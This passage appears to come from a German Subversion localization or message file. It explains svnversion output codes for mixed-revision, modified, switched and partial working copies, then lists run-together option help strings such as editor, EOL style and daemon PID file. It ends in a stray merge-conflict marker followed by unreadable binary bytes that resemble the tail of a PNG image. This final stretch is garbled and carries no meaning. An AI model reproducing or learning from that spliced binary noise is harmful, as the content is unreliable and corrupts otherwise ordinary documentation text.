  eine einzelne Revision besitzt, die nicht modifiziert, nicht umgeschaltet
  ist und eine URL, welche mit ANGEH_URL übereinstimmt. Falls die
  Arbeitskopie ungewöhnlich ist, ist die Versionsnummer komplexer:

   4123:4168     Arbeitskopie aus verschiedenen Revisionen
   4168M         geänderte Arbeitskopie
   4123S         umgestellte Arbeitskopie
   4123P         partielle Arbeitskopie, teilweise ausgecheckt
   4123:4168MS   geänderte, umgestellte Arbeitskopie aus verschiedenen
                 Revisionen

  Das Programm gibt »exportiert« aus, falls es in einem Verzeichnis, das
  keine Arbeitskopie ist, ausgeführt wird.

  Bei Aufruf ohne Parameter wird das aktuelle Verzeichnis als AK_PFAD angenommen.

Gültige Optionen:
PAR als Vergleichsprogramm verwendenPAR als externen Editor verwendenPAR als Konflikteditor verwendenPAR als neueres Ziel verwendenPAR als älteres Ziel verwendenVerwende eine andere Zeilenendemarke als den
                             Standard für Dateien mit der Eigenschaft
                             »svn:eol-style native«.
                             PAR kann »LF«, »CR« oder »CRLF« sein.Nutze Deltas bei der AusgabeEin mit Subversion-Versionen vor 1.4 kompatibles Format verwendenEin mit Subversion-Versionen vor 1.5 kompatibles Format verwendenEin mit Subversion-Versionen vor 1.6 kompatibles Format verwendenStrikte Semantik anwendenVerwende Threads anstelle von »fork« [Modus: daemon]verwende/zeige zusätzliche Informationen aus der
                             Zusammenführungsgeschichte anwarte anstatt abzubrechen, wenn das Projektarchiv
                             durch einen anderen Prozess belegt istSchreibe Server-Prozess-ID in Datei PAR
                             [Modus: daemon, listen-once, service]Schreibe Server-Prozess-ID in Datei PAR
                             [Modus: daemon, listen-once]ja||||||| ORIGINAL
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`